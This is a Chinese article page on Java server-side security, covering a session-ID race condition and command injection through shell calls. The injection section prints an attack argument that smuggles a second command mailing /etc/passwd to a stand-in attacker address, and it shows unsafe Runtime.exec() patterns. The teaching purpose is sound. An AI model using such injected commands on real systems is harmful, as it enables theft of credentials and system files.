• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

Java服务器端编程安全必读

发布: 2009-6-09 13:45 | 作者: 不详 | 来源: 测试时代采编 | 查看: 59次 | 进入软件测试论坛讨论

领测软件测试网

Java中的竞争状态大多数时候出现在临界代码区。例如,在用户登录过程中,系统要生
成一个唯一的数字作为用户会话的标识符。为此,系统先产生一个随机数字,然后在散
列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被其
他用户使用,则把它放入散列表以防止其他用户使用。代码如Listing 1所示:
(Listing 1)
//保存已登录用户的ID
Hashtable hash;
//随机数字生成器
Random rand;
//生成一个随机数字
Integer id = new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
//为当前用户保留该ID
hash.put(id, data);


Listing 1的代码可能带来一个严重的问题:如果有两个线程执行Listing 1的代码,其
中一个线程在hash.put(...)这行代码之前被重新调度,此时同一个随机ID就有可能被
使用两次。在Java中,我们有两种方法解决这个问题。首先,Listing 1的代码可以改
写成Listing 2的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,
避免竞争状态的出现。第二,如果前面的代码是EJB服务器的一部分,我们最好有一个
利用EJB服务器线程控制机制的唯一ID服务。
(Listing 2)
synchronized(hash)
{
//生成一个唯一的随机数字
Integer id =
new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
//为当前用户保留该ID
hash.put(id, data);
}


四、字符串解释执行
在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、
多余的动作。下面的Perl代码就是一个例子:
$data = "mail body";
system("/usr/sbin/sendmail -t $1 < $data");


显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以
按照如下方式调用:
perl script.pl honest@true.com

它将把一个邮件(即“mail body”)发送给用户honest@true.com。这个例子虽然简单
,但我们却可以按照如下方式进行攻击:
perl script.pl honest@true.com;mail
cheat@liarandthief.com < /etc/passwd


这个命令把一个空白邮件发送给honest@true.com,同时又把系统密码文件发送给了
cheat@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全
来重大的威胁。
Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外
部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail API就
是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:
Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");

事实上这是行不通的。Java一般不允许把OS级“<”和“;”之类的构造符号作为
Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");

但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规
的Java方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可
移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单例。

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/

22/2<12

关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备2023014753号-2
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网